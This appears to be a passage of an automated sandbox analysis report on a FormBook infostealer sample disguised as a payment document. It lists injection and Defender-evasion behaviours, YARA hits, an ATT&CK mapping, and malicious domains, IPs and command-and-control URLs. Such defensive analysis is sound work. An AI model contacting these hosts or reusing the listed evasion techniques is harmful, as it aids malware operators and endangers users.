          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_008E1975 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,7_2_008E1975
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.hbwebdownload - MT 103.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.hbwebdownload - MT 103.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
          Shared Modules          		1
          DLL Side-Loading          		612
          Process Injection          		1
          Masquerading          		OS Credential Dumping1
          System Time Discovery          		Remote Services1
          Archive Collected Data          		1
          Encrypted Channel          		Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
          Abuse Elevation Control Mechanism          		11
          Disable or Modify Tools          		LSASS Memory221
          Security Software Discovery          		Remote Desktop ProtocolData from Removable Media2
          Ingress Tool Transfer          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
          DLL Side-Loading          		41
          Virtualization/Sandbox Evasion          		Security Account Manager2
          Process Discovery          		SMB/Windows Admin SharesData from Network Shared Drive2
          Non-Application Layer Protocol          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook612
          Process Injection          		NTDS41
          Virtualization/Sandbox Evasion          		Distributed Component Object ModelInput Capture12
          Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
          Deobfuscate/Decode Files or Information          		LSA Secrets1
          Application Window Discovery          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
          Abuse Elevation Control Mechanism          		Cached Domain Credentials1
          File and Directory Discovery          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items4
          Obfuscated Files or Information          		DCSync213
          System Information Discovery          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job12
          Software Packing          		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
          Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
          Timestomp          		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
          IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
          DLL Side-Loading          		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1523376 Sample: hbwebdownload - MT 103.exe Startdate: 01/10/2024 Architecture: WINDOWS Score: 100 35 www.orenzoplaybest14.xyz 2->35 37 www.vto.stream 2->37 39 9 other IPs or domains 2->39 45 Suricata IDS alerts for network traffic 2->45 47 Found malware configuration 2->47 49 Malicious sample detected (through community Yara rule) 2->49 53 11 other signatures 2->53 11 hbwebdownload - MT 103.exe 4 2->11         started        signatures3 51 Performs DNS queries to domains with low reputation 35->51 process4 file5 33 C:\Users\...\hbwebdownload - MT 103.exe.log, ASCII 11->33 dropped 65 Adds a directory exclusion to Windows Defender 11->65 67 Injects a PE file into a foreign processes 11->67 15 hbwebdownload - MT 103.exe 11->15         started        18 powershell.exe 23 11->18         started        signatures6 process7 signatures8 69 Modifies the context of a thread in another process (thread injection) 15->69 71 Maps a DLL or memory area into another process 15->71 73 Sample uses process hollowing technique 15->73 77 2 other signatures 15->77 20 explorer.exe 92 1 15->20 injected 75 Loading BitLocker PowerShell Module 18->75 24 conhost.exe 18->24         started        process9 dnsIp10 41 www.oko.events 185.26.122.70, 49717, 80 HOSTLANDRU Russian Federation 20->41 43 www.j88.travel 188.114.96.3, 49718, 80 CLOUDFLARENETUS European Union 20->43 55 System process connects to network (likely due to code injection or exploit) 20->55 26 colorcpl.exe 20->26         started        signatures11 process12 signatures13 57 Modifies the context of a thread in another process (thread injection) 26->57 59 Maps a DLL or memory area into another process 26->59 61 Tries to detect virtualization through RDTSC time measurements 26->61 63 Switches to a custom stack to bypass stack traces 26->63 29 cmd.exe 1 26->29         started        process14 process15 31 conhost.exe 29->31         started       

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          hbwebdownload - MT 103.exe34%ReversingLabsByteCode-MSIL.Trojan.SnakeLogger
          hbwebdownload - MT 103.exe100%Joe Sandbox ML

          Dropped Files

          ⊘No Antivirus matches

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          https://powerpoint.office.comcember0%URL Reputationsafe
          https://excel.office.com0%URL Reputationsafe
          http://schemas.micro0%URL Reputationsafe
          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
          https://www.chiark.greenend.org.uk/~sgtatham/putty/00%URL Reputationsafe
          https://outlook.com0%URL Reputationsafe
          https://android.notify.windows.com/iOS0%URL Reputationsafe
          https://api.msn.com/0%URL Reputationsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          www.j88.travel
          		188.114.96.3
          		truetrue
            		unknown
            www.oko.events
            		185.26.122.70
            		truetrue
              		unknown
              www.1385.net
              		103.59.102.59
              		truetrue
                		unknown
                www.orenzoplaybest14.xyz
                		unknown
                		unknowntrue
                  		unknown
                  www.ourhealthyourlife.shop
                  		unknown
                  		unknowntrue
                    		unknown
                    www.ridges-freezers-56090.bond
                    		unknown
                    		unknowntrue
                      		unknown
                      www.vto.stream
                      		unknown
                      		unknowntrue
                        		unknown
                        www.etangkhap99.lol
                        		unknown
                        		unknowntrue
                          		unknown
                          www.fbpd.top
                          		unknown
                          		unknowntrue
                            		unknown
                            www.est-life-insurance-2507.today
                            		unknown
                            		unknowntrue
                              		unknown
                              www.nline-courses-classes-lv-1.bond
                              		unknown
                              		unknowntrue
                                		unknown

                                Contacted URLs

                                NameMaliciousAntivirus DetectionReputation
                                http://www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2Jtrue
                                  		unknown
                                  http://www.oko.events/c24t/?Edg8Tp=z+nAhoA8drw9p0SUk4F23aiKXvdwmiYumykkUl5XSRWt3Wct2pK+VZvxUbO0lNj685To&iL30=-ZRd9JBXfLe8q2Jtrue
                                    		unknown
                                    www.ridges-freezers-56090.bond/c24t/true
                                      		unknown

                                      URLs from Memory and Binaries

                                      NameSourceMaliciousAntivirus DetectionReputation
                                      https://word.office.comonexplorer.exe, 00000006.00000002.4535238985.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.00000000099C0000.00000004.00000001.00020000.00000000.sdmpfalse
                                        		unknown
                                        http://www.oko.eventsReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                          		unknown
                                          http://www.etangkhap99.lol/c24t/www.oko.eventsexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                            		unknown
                                            http://www.ridges-freezers-56090.bondReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                              		unknown
                                              http://www.vto.streamexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                		unknown
                                                https://powerpoint.office.comcemberexplorer.exe, 00000006.00000000.2091503480.000000000C460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4539423955.000000000C460000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                http://www.nline-courses-classes-lv-1.bond/c24t/www.ourhealthyourlife.shopexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                  		unknown
                                                  http://www.etangkhap99.lol/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    		unknown
                                                    http://www.orenzoplaybest14.xyzexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      		unknown
                                                      http://www.ourhealthyourlife.shopexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                        		unknown
                                                        http://www.1385.net/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          		unknown
                                                          http://www.etangkhap99.lolReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            		unknown
                                                            http://www.ourhealthyourlife.shop/c24t/www.amilablackwell.onlineexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                              		unknown
                                                              http://www.ridges-freezers-56090.bondexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                		unknown
                                                                https://excel.office.comexplorer.exe, 00000006.00000002.4536248023.0000000009C22000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852394132.0000000009C21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3851742437.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094406627.0000000009B9A000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                http://schemas.microexplorer.exe, 00000006.00000002.4533022181.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000002.4534729011.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000002.4534779593.0000000008890000.00000002.00000001.00040000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                		unknown
                                                                http://www.amilablackwell.online/c24t/www.458881233.menexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  		unknown
                                                                  http://www.ocoani.shopReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    		unknown
                                                                    http://www.7395.asiaReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                      		unknown
                                                                      http://www.j88.travel/c24t/www.ridges-freezers-56090.bondexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        		unknown
                                                                        http://www.orenzoplaybest14.xyz/c24t/www.j88.travelexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                          		unknown
                                                                          http://www.458881233.men/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            		unknown
                                                                            http://www.ourhealthyourlife.shopReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                              		unknown
                                                                              http://www.amilablackwell.onlineReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                		unknown
                                                                                http://www.1385.netexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  		unknown
                                                                                  http://www.oko.eventsexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                    		unknown
                                                                                    http://www.consuyt.xyz/c24t/www.vto.streamexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                      		unknown
                                                                                      http://www.ocoani.shop/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        		unknown
                                                                                        http://www.nline-courses-classes-lv-1.bondReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                          		unknown
                                                                                          http://www.oko.events/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            		unknown
                                                                                            http://www.orenzoplaybest14.xyzReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              		unknown
                                                                                              http://www.j88.travelReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                		unknown
                                                                                                https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exeexplorer.exe, 00000006.00000000.2091503480.000000000C4DC000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                  		unknown
                                                                                                  http://www.nline-courses-classes-lv-1.bondexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    		unknown
                                                                                                    http://www.vto.stream/c24t/www.fbpd.topexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      		unknown
                                                                                                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namehbwebdownload - MT 103.exe, 00000000.00000002.2091944473.0000000003035000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                      • URL Reputation: safe
                                                                                                      		unknown
                                                                                                      http://www.458881233.menReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                        		unknown
                                                                                                        http://www.458881233.menexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                          		unknown
